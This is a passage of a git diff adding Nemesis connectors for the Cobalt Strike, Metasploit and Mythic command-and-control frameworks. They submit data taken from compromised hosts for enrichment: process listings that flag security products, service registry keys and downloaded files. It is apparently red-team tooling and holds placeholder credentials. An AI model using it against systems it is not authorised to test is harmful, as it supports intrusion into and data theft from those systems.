%nemesis::Settings['NemesisApiUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "api/"; + %nemesis::Settings['NemesisYaraUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "yara/"; + %nemesis::Settings['ElasticsearchUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "elastic/"; + %nemesis::Settings['KibanaUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "kibana."; + } + if($message ismatch "SET NemesisCreds .*") { + %nemesis::Settings['NemesisCreds'] = substr($message, 17); + } + if($message ismatch "SET NemesisProject .*") { + %nemesis::Settings['NemesisProject'] = substr($message, 19); + } + } + } +} diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna b/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna new file mode 100644 index 0000000..6ce090c --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna @@ -0,0 +1,231 @@ +# Always keep 4 and 34 enabled - they'll help catch common developer mistakes +debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables. +#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls +debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError +#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic) + +# TODO: not quite sure what this is... +global('$ps::CachedOutput'); + +beacon_command_register( + "nps", + "Shows, colors, and describes a list of processes using Nemesis (alternative process listing)", + "Use:\n" . + " nps [-s ] [regex]\n" . + " nps -d [regex]\n" . + "Arguments:\n" . + " -s Sort by a field. Possible sort fields are name, ppid, pid, arch, user, and session.\n" . + " regex Filter results using a regex\n" . + "Shows and colors a list of processes.\n" . + "Color Key:\n" . + " \c4RED\o - Security products.\n" . + " \cBLIGHT BLUE\o - Remote administration/access tools.\n" . + " \c3GREEN\o - Browsers.\n" . + " \cATURQUOISE\o - Infrastructure\n" . + " \c6PURPLE\o - Miscellaneous \"you should be aware of this\" processes.\n" . + " \UUNDERLINED\o - Active beacon in the process(a callback in the last " . %nemesis::Settings['BeaconUnderlineThreshold'] . " minutes)" +); + +alias nps { + local('$term $sort $1 $2 $3 $4 $describe'); + $sort = "pid"; + $describe = true; + + if($2) { + if($2 eq "-s") { + if($3) { + $sort = $3; + + if($4) { + $term = ".*" . $4 . ".*"; + } else { + $term = ".*"; + } + + } else { + berror($1, "No sort field specified"); + return; + } + } else { + $sort = "name"; + $term = ".*" . $2 . ".*"; + } + } else { + $term = ".*"; + } + + + bps($1, lambda({ + $ps::CachedOutput = $2; + ps::process_list_callback($1, $2, $time, $searchTerm, $sortField, $describe, ""); + }, + $time => ticks(), + $searchTerm => $term, + $sortField => $sort, + $describe => $describe + ) + ); +} + + +sub ps::process_list_callback { + local('$BID $sortField $windowSizeStr $binfo $beacons @hostBeaconPids $outputText $time $searchTerm $matched $describe $b'); + local('$description $category $MessageID $retries $num_results $results'); + local('$out $temp $name $ppid $pid $arch $user $session @Processes'); + local('$result $parentProcessId $parentProcessId $parentProcessId $color $parentProcessId $processId $Underline $outputLine $legend'); + + $BID = $1; + $binfo = binfo($BID); + $outputText = $2; + $time = $3; + $searchTerm = $4; + $sortField = $5; + $describe = $6; + $category = $7; + + $beacons = beacons(); + foreach $b (beacons()) { + if($b['computer'] eq $binfo['computer']) { + # If the beacon has been active in the last X minutes or is the current beacon, add it + if((($b['last'] / 60000) lt %nemesis::Settings['BeaconUnderlineThreshold']) || ($b['pid'] eq $binfo['pid'])) { + push(@hostBeaconPids, $b['pid']); + } + } + } + + @Processes = @(); + + # Step 1 - extract all of the raw process data from the output + foreach $temp (split("\n", ["$outputText" trim])) { + ($name, $ppid, $pid, $arch, $user, $session) = split("\t", $temp); + push(@Processes, %( + name => $name, + command_line => $null, + file_name => $null, + memory => $null, + process_id => $pid, + parent_process_id => $ppid, + start_time => $null, + arch => $arch, + token => %( + user => %( + name => $user; + ); + session => $session;) + ) + ); + } + + # Step 2 - post the process data to Nemesis and extract the message ID + $MessageID = http::PostData($BID, "process", @Processes); + logger::WriteVerbose("ps::process_list_callback() MessageID: ". $MessageID); + + if($describe) { + $out .= " PID PPID Name Arch Session User Description\n"; + $out .= "\cE --- ---- ---- ---- ------- ----- -----------\n"; + } else { + $out .= " PID PPID Name Arch Session User\n"; + $out .= "\cE --- ---- ---- ---- ------- -----\n"; + } + + if($MessageID) { + + # Step 3 - poll Elasticsearch until entries with this $MessageID appear + # This indicates that the process data made it through the Nemesis pipeline + $retries = 10; + $num_results = 0; + while(($num_results lt 1) && ($retries gt 0)) { + sleep(1000); + $results = http::GetProcessData($MessageID); + try { + if("hits" in $results) { + if("total" in $results["hits"]) { + $num_results = $results["hits"]["total"]["value"]; + } + else { + $num_results = 0; + } + } + else { + $num_results = 0; + } + } + catch $message { + $num_results = 0; + } + $retries = $retries - 1; + } + + if($results) { + foreach $result ($results["hits"]["hits"]) { + $result = $result["_source"]; + $parentProcessId = $result["parentProcessId"]; + $processId = $result["processId"]; + $name = $result["name"]; + $arch = $result["arch"]; + $category = $result["category"]["category"]; + $description = $result["category"]["description"]; + $session = $result["token"]["user"]["session"]; + $user = $result["token"]["user"]["name"]; + + if($category eq "Security") { + $color = "\c4"; # highlight security products processes in RED. + } + else if($category eq "AccessTool") { + $color = "\cB"; # highlight remote administration tools in LIGHT BLUE + } + else if($category eq "Browser") { + $color = "\c3"; # highlight browsers processes in GREEN + } + else if($category eq "Infrastructure") { + $color = "\c7"; # YELLOW + } + else if($category eq "MiscAwareness") { + $color = "\c6"; # General "be aware of" processes in PURPLE: indicate the user is not active or you may have crashed an application. + } + else { + $color = ""; + } + + $Underline = ""; + + if($describe) { + $outputLine = "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $[35]user $description $Underline\o"; + } else { + $outputLine = "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $user $Underline\o"; + } + + $out .= "$outputLine \n"; + } + + if($describe) { + $windowSizeStr = " "; + } + + $legend = "\LEGEND\n"; + $legend .= "\c4 Security Product\n"; + $legend .= "\cB Access Tool\n"; + $legend .= "\c3 Browser\n"; + $legend .= "\c7 Infrastructure\n"; + $legend .= "\c6 Misc Process to be Aware of\n"; + + blog($1, "Nemesis-enriched process listing for $binfo['computer'] BeaconID: $BID\n$windowSizeStr\n$out\n"); + blog($1, $legend); + } + } + else { + foreach $Process (@Processes) { + $Underline = ""; + $processId = $Process["process_id"]; + $parentProcessId = $Process["parent_process_id"]; + $name = $Process["name"]; + $arch = $Process["arch"]; + $session = $Process["token"]["session"]; + $user = $Process["token"]["user"]["name"]; + $out .= "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $user $Underline\o\n"; + } + + blog($1, "Process listing for $binfo['computer'] BeaconID: $BID\n$windowSizeStr\n$out\n"); + berror($1, "No MessageID returned by Nemesis- system either not up or not working properly.") + } +} diff --git a/cmd/connectors/metasploit-connector/README.md b/cmd/connectors/metasploit-connector/README.md new file mode 100644 index 0000000..9d8dad8 --- /dev/null +++ b/cmd/connectors/metasploit-connector/README.md @@ -0,0 +1,31 @@ +# Installation + +Copy: + * `./plugins/nemesis.rb` to `//plugins/nemssis.rb` + * `./modules/nemesis.rb` to `//modules/post/windows/gather/nemesis.rb` + +## Configuration File + +Ensure that a nemesis.yaml file with the following values is in `~/.msf4/nemesis.yaml` (Msf::Config.get_config_root): + +``` +nemesis_url: http://NEMESIS_HOST:8080/api/ +nemesis_creds: nemesis:Qwerty12345 +operator_name: OPERATOR-X +project_name: PROJECT-X +expiration_days: 100 +``` + +# Usage + +## Downloads + +To use the download hook, type `load nemesis`. This will submit all downloaded files to Nemesis for analysis. + +## Data Collection + +Using the `post/windows/gather/nemesis` module will collect any relevant data for submission to Nemesis. + +# TODO + +* Pull SDDL information for the registry keys through Railgun (won't be fun) diff --git a/cmd/connectors/metasploit-connector/modules/nemesis.rb b/cmd/connectors/metasploit-connector/modules/nemesis.rb new file mode 100644 index 0000000..acfc8d9 --- /dev/null +++ b/cmd/connectors/metasploit-connector/modules/nemesis.rb @@ -0,0 +1,195 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'uri' +require 'net/http' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Common + + # config globals + SERVICES_PATH = 'HKLM\\SYSTEM\\CurrentControlSet\\Services' + $nemesis_url = nil + $nemesis_user = nil + $nemesis_password = nil + $nemesis_project = nil + $expiration_days = nil + $remote_paths = Hash.new + $nemesis_yaml = "#{Msf::Config.get_config_root}/nemesis.yaml" + + + # reads the nemesis.yaml settings into the global variables + def read_settings() + read = nil + if File.exist?("#{$nemesis_yaml}") + ldconfig = YAML.load_file("#{$nemesis_yaml}") + $nemesis_url = ldconfig['nemesis_url'] + $nemesis_user, $nemesis_password = ldconfig['nemesis_creds'].split(":") + $nemesis_project = ldconfig['project_name'] + $expiration_days = ldconfig['expiration_days'].to_i + read = true + else + print_error("You must create a #{$nemesis_yaml} file") + return read + end + return read + end + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nemesis Enumeration', + 'Description' => %q( This module will gather data for Nemesis. ), + 'License' => MSF_LICENSE, + 'Author' => [ 'harmj0y' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + read_settings() + end + + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + + # helper to build the metadata hash table for data submission + def get_metadata(agent_uuid, data_type = "registry_value") + timestamp = Time.now + expiration = timestamp + $expiration_days * 86400 # 24 * 60 * 60 + metadata = { + "agent_type" => "meterpreter", + "automated" => true, + "agent_id" => agent_uuid, + "data_type" => data_type, + "project" => $nemesis_project, + # "source" => session.sys.config.sysinfo["Computer"], + "timestamp" => timestamp.utc.iso8601, + "expiration" => expiration.utc.iso8601 + } + return metadata + end + + + # posts an entry hashtable to the /api/data endpoint + def post_data(data) + uri = URI("#{$nemesis_url}data") + req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json') + req.basic_auth $nemesis_user, $nemesis_password + req['User-Agent'] = "METERPRETER" + req.body = data.to_json + begin + res = Net::HTTP.start(uri.hostname, uri.port) { |http| + http.request(req) + } + return res.body + rescue ::Exception => e + print_error("Exception connecting to Nemesis : #{e}") + return nil + end + end + + + # enumerates services via their registry keys in a threaded manner + def get_service_keys + threadnum = 0 + threads = [] + regkeys = [] + + root_key, base_key = session.sys.registry.splitkey(SERVICES_PATH) + perms = meterpreter_registry_perms(KEY_READ, REGISTRY_VIEW_NATIVE) + + registry_enumkeys(SERVICES_PATH).each do |s| + if threadnum < 20 + threads.push(::Thread.new { + begin + + ["DisplayName", "Description", "ObjectName", "ImagePath", "Type", "Start"].each do |valname| + val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}", valname, perms) + if val.data and not val.data.empty? + regkey = { + "key" => "#{SERVICES_PATH}\\#{s}", + "value_name" => valname, + "value_kind" => 1, + "value" => val.data + } + regkeys << regkey + end + end + + ["ServiceDll", "ServiceMain"].each do |valname| + val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}", valname, perms) + if val.data and not val.data.empty? + regkey = { + "key" => "#{SERVICES_PATH}\\#{s}\\Parameters", + "value_name" => valname, + "value_kind" => 1, + "value" => val.data + } + regkeys << regkey + end + end + + val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}\\Security", "Security", perms) + if val.data and not val.data.empty? + regkey = { + "key" => "#{SERVICES_PATH}\\#{s}\\Parameters", + "value_name" => "Security", + "value_kind" => 3, + "value" => Rex::Text.encode_base64(val.data) + } + regkeys << regkey + end + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and threads.delete_if {|x| not x.alive?} while not threads.empty? + threadnum = 0 + end + end + + return regkeys + end + + + def run + + service_keys = get_service_keys() + # loot_path = store_loot("#{session.uuid}_registryservices.json", 'application/json', session, service_keys.to_json, "registryservices.json", "enum_nemesis") + + data = { + "metadata" => get_metadata(session.uuid), + "data" => service_keys + } + + resp = post_data(data) + + if !resp.nil? + resp_parsed = JSON.parse(resp) + if resp_parsed.has_key?("object_id") + submission_id = resp_parsed["object_id"] + print_good("Services enumerated via registry keys, Nemesis submission ID: #{submission_id}") + else + print_error("Nemesis response: #{resp}") + end + end + end + +end diff --git a/cmd/connectors/metasploit-connector/plugins/nemesis.rb b/cmd/connectors/metasploit-connector/plugins/nemesis.rb new file mode 100644 index 0000000..6f29a0d --- /dev/null +++ b/cmd/connectors/metasploit-connector/plugins/nemesis.rb @@ -0,0 +1,190 @@ +# +# Author: @harmj0y +# +# Heavily adapted from https://github.com/chrismaddalena/ShellHerder/blob/master/ShellHerder.rb + +require 'yaml' +require 'json' +require 'uri' +require 'time' +require 'net/http' + +module Msf + class Plugin::Nemesis < Msf::Plugin + + include Msf::SessionEvent + + # config globals + $nemesis_url = nil + $nemesis_user = nil + $nemesis_password = nil + $nemesis_project = nil + $expiration_days = nil + $remote_paths = Hash.new + $nemesis_yaml = "#{Msf::Config.get_config_root}/nemesis.yaml" + + + def name + 'nemesis' + end + + + def desc + "Ingests data into Nemesis" + end + + + # reads the nemesis.yaml settings into the global variables + def read_settings() + read = nil + if File.exist?("#{$nemesis_yaml}") + ldconfig = YAML.load_file("#{$nemesis_yaml}") + $nemesis_url = ldconfig['nemesis_url'] + $nemesis_user, $nemesis_password = ldconfig['nemesis_creds'].split(":") + $nemesis_project = ldconfig['project_name'] + $expiration_days = ldconfig['expiration_days'].to_i + read = true + else + print_error("You must create a #{$nemesis_yaml} file") + return read + end + return read + end + + + def initialize(framework, opts) + super + if read_settings() + self.framework.events.add_session_subscriber(self) + print_good("Nemesis Connector Started") + else + print_error("Could not load Nemesis settings.") + end + end + + + def cleanup + self.framework.events.remove_session_subscriber(self) + end + + + # helper to build the metadata hash table for data submission + def get_metadata(agent_uuid) + timestamp = Time.now + expiration = timestamp + $expiration_days * 86400 # 24 * 60 * 60 + metadata = { + "agent_type" => "meterpreter", + "automated" => true, + "agent_id" => agent_uuid, + "data_type" => "file_data", + "project" => $nemesis_project, + # "source" => session.sys.config.sysinfo["Computer"], + "timestamp" => timestamp.utc.iso8601, + "expiration" => expiration.utc.iso8601 + } + return metadata + end + + + # posts raw file bytes to the /api/file endpoint and returns the Nemesis file UUID + def post_file(file_path) + # TODO later for possible opsec-on-upload blocking: https://yukimotopress.github.io/http + + uri = URI("#{$nemesis_url}file") + req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/octet-stream') + req.basic_auth $nemesis_user, $nemesis_password + req['User-Agent'] = "METERPRETER" + req.body = File.open(file_path, 'rb') { |io| io.read } + begin + res = Net::HTTP.start(uri.hostname, uri.port) { |http| + http.request(req) + } + return JSON.parse(res.body)["object_id"] + rescue ::Exception => e + print_error("Exception connecting to Nemesis : #{e}") + return nil + end + end + + + # posts an entry hashtable to the /api/data endpoint + def post_data(data) + uri = URI("#{$nemesis_url}data") + req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json') + req.basic_auth $nemesis_user, $nemesis_password + req['User-Agent'] = "METERPRETER" + req.body = data.to_json + begin + res = Net::HTTP.start(uri.hostname, uri.port) { |http| + http.request(req) + } + return res.body + rescue ::Exception => e + print_error("Exception connecting to Nemesis : #{e}") + return nil + end + end + + + # main logic that checks for the download completion message + # and syncs submits the downloaded file to Nemesis + def on_session_output(session, output) + + # check for completed download messages + if output.starts_with?("download :") + data = output[13..-1] + parts = data.split("->") + if parts.length() == 2 + file_origin = parts[0].strip().tr('\\', '/') + file_dest = parts[1].strip() + + username = "" + hostname = "" + info_parts = session.info.split("@") + if info_parts.length() == 2 + username = info_parts[0].strip() + hostname = info_parts[1].strip() + end + + # if not absolute or UNC path, construct using the current working directory + if not file_origin.match(/([A-Za-z]:|^\/\/)/) + + # get the current working directory + working_directory = session.fs.dir.pwd.tr('\\', '/') + + if not working_directory.ends_with? "/" + working_directory = "#{working_directory}/" + end + + file_origin = "#{working_directory}#{file_origin}" + end + + # print_status("file_dest : _#{file_dest}_") + # print_status("Info: _#{username}_#{hostname}_") + # print_status("Host: #{session.session_host}") + # print_status("UUID: #{session.uuid}") + + # post the file bytes to get the Nemesis UUID back + nemesis_uuid = post_file(file_dest) + print_good("'#{file_origin}' uploaded to Nemesis for processing, file UUID: #{nemesis_uuid}") + + file_size = File.size(file_dest) + + data = { + "metadata" => get_metadata(session.uuid), + "data" => [ + { + "path" => file_origin, + "size" => file_size, + "object_id" => nemesis_uuid + } + ] + } + # resp format: {"object_id":"0a75872b-338c-484f-8251-f018d2e20290"} + resp = post_data(data) + end + end + + end +end +end \ No newline at end of file diff --git a/cmd/connectors/mythic-connector/Dockerfile b/cmd/connectors/mythic-connector/Dockerfile new file mode 100644 index 0000000..d80a432 --- /dev/null +++ b/cmd/connectors/mythic-connector/Dockerfile @@ -0,0 +1,9 @@ +FROM python:3.10.5-alpine3.15 + +COPY requirements.txt . +RUN pip install --upgrade pip \ + && pip install -r requirements.txt + +COPY sync.py . + +CMD python -u sync.py diff --git a/cmd/connectors/mythic-connector/LICENSE b/cmd/connectors/mythic-connector/LICENSE new file mode 100644 index 0000000..5cccd45 --- /dev/null +++ b/cmd/connectors/mythic-connector/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2021-2022, SpecterOps +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cmd/connectors/mythic-connector/README.md b/cmd/connectors/mythic-connector/README.md new file mode 100644 index 0000000..629fc3b --- /dev/null +++ b/cmd/connectors/mythic-connector/README.md @@ -0,0 +1,45 @@ +# nemesis_sync + +## Usage + +### Execute via Stand Alone Docker + +Use Docker and `docker-compose` to run the `mythic_nemesis_sync` container. + +After cloning repository, open the `settings.env` file and fill in the variables with appropriate values. The following is an example: + +``` text +MYTHIC_IP=10.10.1.100 +MYTHIC_PORT=7443 +MYTHIC_USERNAME=mythic_admin +MYTHIC_PASSWORD=SuperSecretPassword +REDIS_HOSTNAME=redis +REDIS_PORT=6379 +NEMESIS_HTTP_SERVER=http://127.0.0.1:8000 +NEMESIS_CREDS=nemesis:password +ELASTICSEARCH_USER=elastic +ELASTICSEARCH_PASSWORD=password +``` + +Once the environment variables are setup, you can launch the service by using `docker-compose`: + +``` bash +sudo docker-compose up --build +``` + +### Verify Successful Start-Up + + +## Troubleshooting + +Logs can be seen from the docker container via `sudo docker logs mythic_nemesis_sync` and follow them with `sudo docker logs --follow mythic_nemesis_sync`. + +Ensure the host where `mythic_nemesis_sync` is running has network access to the Nemesis and Mythic servers. + +`mythic_nemesis_sync` uses an internal Redis database to sync what events have already been sent to Nemesis, avoiding duplicates. + +If the `mythic_nemesis_sync` service goes down, it is safe to stand it back up and avoid duplicates as long as nothing has forcefully stopped Mythic's Redis container. + +## References + +- [Mythic](https://github.com/its-a-feature/Mythic) - Multi-platform C2 Framework diff --git a/cmd/connectors/mythic-connector/docker-compose.yml b/cmd/connectors/mythic-connector/docker-compose.yml new file mode 100644 index 0000000..9aa3dc3 --- /dev/null +++ b/cmd/connectors/mythic-connector/docker-compose.yml @@ -0,0 +1,10 @@ +version: "3" +services: + mythic_nemesis_sync: + build: . + depends_on: + - redis + env_file: + - settings.env + redis: + image: redis:5-alpine diff --git a/cmd/connectors/mythic-connector/requirements.txt b/cmd/connectors/mythic-connector/requirements.txt new file mode 100644 index 0000000..d6416eb --- /dev/null +++ b/cmd/connectors/mythic-connector/requirements.txt @@ -0,0 +1,6 @@ +aiohttp==3.8.1 +redis==3.5.3 +#mythic==0.0.37 +mythic==0.1.0rc2 +requests==2.28.1 +elasticsearch==8.4.1 \ No newline at end of file diff --git a/cmd/connectors/mythic-connector/settings.env b/cmd/connectors/mythic-connector/settings.env new file mode 100644 index 0000000..8bf2243 --- /dev/null +++ b/cmd/connectors/mythic-connector/settings.env @@ -0,0 +1,10 @@ +MYTHIC_IP=10.10.1.100 +MYTHIC_PORT=7443 +MYTHIC_USERNAME=mythic_admin +MYTHIC_PASSWORD=SuperSecretPassword +REDIS_HOSTNAME=redis +REDIS_PORT=6379 +NEMESIS_HTTP_SERVER=http://127.0.0.1:8000 +NEMESIS_CREDS=nemesis:password +ELASTICSEARCH_USER=elastic +ELASTICSEARCH_PASSWORD=password \ No newline at end of file diff --git a/cmd/connectors/mythic-connector/start.sh b/cmd/connectors/mythic-connector/start.sh new file mode 100644 index 0000000..4fbf1fe --- /dev/null +++ b/cmd/connectors/mythic-connector/start.sh @@ -0,0 +1,2 @@ +#!/bin/sh +sudo docker-compose up --build diff --git a/cmd/connectors/mythic-connector/sync.py b/cmd/connectors/mythic-connector/sync.py new file mode 100644 index 0000000..7827f0d --- /dev/null +++ b/cmd/connectors/mythic-connector/sync.py @@ -0,0 +1,905 @@ +# Standard Libraries +import asyncio +import base64 +import json +import logging +import ntpath +import os +import sys +from dataclasses import dataclass +from datetime import datetime, timedelta + +import aiohttp +import redis +import requests +from elasticsearch import Elasticsearch +# Mythic Sync Libraries +# 3rd Party Libraries +from mythic import mythic, mythic_classes +from requests.auth import HTTPBasicAuth + +logging.basicConfig(format="%(levelname)s:%(message)s") +mythic_sync_log = logging.getLogger("mythic_sync_logger") +mythic_sync_log.setLevel(logging.DEBUG) + +# How long to wait to make another HTTP request to see if the service has started +WAIT_TIMEOUT = 5 + +# the maximum file size to sync from mythic +MAX_FILE_SIZE = int(os.environ.get("MAX_FILE_SIZE")) + +# the number of days past ingestion to mark the data for expiration +EXPIRATION_DAYS = int(os.environ.get("EXPIRATION_DAYS")) + +# Mythic server & authentication +MYTHIC_API_KEY = os.environ.get("MYTHIC_API_KEY") or "" +MYTHIC_USERNAME = os.environ.get("MYTHIC_USERNAME") or "" +MYTHIC_PASSWORD = os.environ.get("MYTHIC_PASSWORD") or "" +MYTHIC_IP = os.environ.get("MYTHIC_IP") +if MYTHIC_IP is None: + mythic_sync_log.error("MYTHIC_IP must be supplied!\n") + sys.exit(1) +MYTHIC_PORT = os.environ.get("MYTHIC_PORT") +if MYTHIC_PORT is None: + mythic_sync_log.error("MYTHIC_PORT must be supplied!\n") + sys.exit(1) +MYTHIC_URL = f"https://{MYTHIC_IP}:{MYTHIC_PORT}" +REDIS_HOSTNAME = os.environ.get("REDIS_HOSTNAME") +if REDIS_HOSTNAME is None: + mythic_sync_log.error("REDIS_HOSTNAME must be supplied!\n") + sys.exit(1) +REDIS_PORT = os.environ.get("REDIS_PORT") +if REDIS_PORT is None: + mythic_sync_log.error("REDIS_PORT must be supplied!\n") + sys.exit(1) + +# Redis connector +rconn = None + +# Elasticsearch client +es_client = None + +# Nemesis server/API +NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER") or "" +NEMESIS_URL = f"{NEMESIS_HTTP_SERVER}/api" +NEMESIS_CREDS = os.environ.get("NEMESIS_CREDS") or "" +ELASTICSEARCH_URL = f"{NEMESIS_HTTP_SERVER}/elastic" +ELASTICSEARCH_USER = os.environ.get("ELASTICSEARCH_USER") or "" +ELASTICSEARCH_PASSWORD = os.environ.get("ELASTICSEARCH_PASSWORD") or "" +KIBANA_URL = f"{NEMESIS_HTTP_SERVER}/kibana" + + +@dataclass +class NemesisTag: + name: str + description: str + color: str + id: int = -1 + + +NEMESIS_TAGS = { + # File Tags + "file_metadata": NemesisTag("file_metadata", "Metadata for the processed file.", "#16a4d8"), + "contains_dpapi": NemesisTag("contains_dpapi", "The file contains some type of DPAPI data.", "#9b5fe0"), + "parsed_credentials": NemesisTag("parsed_credentials", "Credentials have been parsed from a known file type.", "#60dbe8"), + "deserialization": NemesisTag("deserialization", "The binary has a potential deserialization issue.", "#f9a52c"), + "encrypted": NemesisTag("encrypted", "The file is encrypted.", "#8bd346"), + "yara_matches": NemesisTag("yara_matches", "The file has known Yara matches.", "#efdf48"), + "noseyparker": NemesisTag("noseyparker", "The file has extracted NoseyParker results.", "#d64e12"), + "above_size_limit": NemesisTag("above_size_limit", "The file is above the processing size limit.", "#fe0000"), + + # Process Tags + "AccessTool": NemesisTag("AccessTool", "The process name matches known access tools.", "#60dbe8"), + "Browser": NemesisTag("Browser", "The process name matches known browsers.", "#efdf48"), + "Infrastructure": NemesisTag("Infrastructure", "The process name matches known infrastructure tools.", "#71a0d0"), + "MiscAwareness": NemesisTag("MiscAwareness", "The process name matches other known miscellaneous processes of iterest.", "#8bd346"), + "Other": NemesisTag("Other", "The process name matches other known processes.", "#b390d5"), + "Security": NemesisTag("Security", "The process name matches known security products.", "#ff1100"), +} + + +def nemesis_post_data(data): + """ + Takes a json blob and POSTs it to the NEMESIS /data API endpoint. + + **Parameters** + + ``data`` + JSON formatted blob to post. + + **Returns** + + True if the request was successful, False otherwise. + """ + try: + basic_auth_parts = NEMESIS_CREDS.split(":") + basic = HTTPBasicAuth(basic_auth_parts[0], basic_auth_parts[1]) + r = requests.post(f"{NEMESIS_URL}/data", auth=basic, json=data) + if r.status_code != 200: + mythic_sync_log.error(f"[nemesis_post_data] Error posting to Nemesis URL {NEMESIS_URL}/data ({r.status_code}) : {r.json()}") + return None + else: + return r.json() + except Exception as e: + mythic_sync_log.error(f"[nemesis_post_data] Error : {e}") + return None + + +def nemesis_post_file(file_bytes): + """ + Takes a series of raw file bytes and POSTs it to the NEMESIS /file API endpoint. + + **Parameters** + + ``file_bytes`` + Bytes of the file we're uploading. + + **Returns** + + A new UUID string returned by the Nemesis API. + """ + try: + basic_auth_parts = NEMESIS_CREDS.split(":") + basic = HTTPBasicAuth(basic_auth_parts[0], basic_auth_parts[1]) + r = requests.request("POST", f"{NEMESIS_URL}/file", auth=basic, data=file_bytes, headers={"Content-Type": "application/octet-stream"}) + + if r.status_code != 200: + mythic_sync_log.error(f"[nemesis_post_file] Error uploading file to Nemesis URL {NEMESIS_URL}: {r.status_code}") + return None + else: + json_result = r.json() + if "object_id" in json_result: + return json_result["object_id"] + else: + mythic_sync_log.error("[nemesis_post_file] Error retrieving 'object_id' field from result") + return None + except Exception as e: + mythic_sync_log.error(f"[nemesis_post_file] Error : {e}") + return None + + +def convert_timestamp(timestamp, days_to_add=0): + """ + Strips off the microseconds from a timestamp and reformats to our unified format. + + **Parameters** + + ``timestamp`` + The timestamp string to reformat. + + **Returns** + + A reformatted timestamp string. + """ + + dt = datetime.strptime(timestamp, "%Y-%m-%dT%H:%M:%S.%f") + + if days_to_add != 0: + dt = dt + timedelta(days=days_to_add) + + return dt.strftime("%Y-%m-%dT%H:%M:%S.000Z") + + +async def get_processed_file_metadata(message_id: int): + """Gets processed file metadata from Elastic search for a specific message_id.""" + + query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}} + + fields = [ + "path", + "size", + "objectId", + "analysis", + "magicType", + "noseyparker", + "nemesisFileType", + "extractedPlaintext", + "convertedPdf", + "yaraMatches", + "isBinary", + "isOfficeDoc", + "containsDpapi", + "parsedData.hasParsedCredentials", + "parsedData.isEncrypted", + "hashes.md5", + "metadata.messageId", + "objectIdURL", # link to directly download the file + "extractedSourceURL", # if .NET, link to download the decompiled source + "convertedPdfURL", # if converted to PDF, link to display that file + "extractedPlaintextURL" # if text was extracted, link to that in elastic + ] + + attempts = 30 + hits = {} + + while (len(hits) == 0) and (attempts > 0): + await asyncio.sleep(3) + try: + resp = es_client.search(index="file_data_enriched", query=query, source=True, source_includes=fields) + hits = resp["hits"]["hits"] + except Exception as e: + mythic_sync_log.debug(f"Exception: {e}, retry attempts: {attempts}") + attempts = attempts - 1 + + if len(hits) == 0: + mythic_sync_log.error(f"No results found for message_id {message_id}") + else: + return hits[0]["_source"] + + +async def get_process_metadata(message_id: int, chunk_size: int = 100): + """Gets process metadata from Elastic search for a specific message_id.""" + + query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}} + + fields = ["origin", "category"] + + attempts = 20 + hits = {} + + while (len(hits) == 0) and (attempts > 0): + await asyncio.sleep(3) + try: + resp = es_client.search(index="process_category", query=query, source=True, source_includes=fields, size=chunk_size) + hits = resp["hits"]["hits"] + except Exception as e: + mythic_sync_log.debug(f"Exception: {e}, retry attempts: {attempts}") + attempts = attempts - 1 + + if len(hits) == 0: + raise Exception(f"No results found for message_id {message_id}") + else: + return [x["_source"] for x in hits] + + +async def 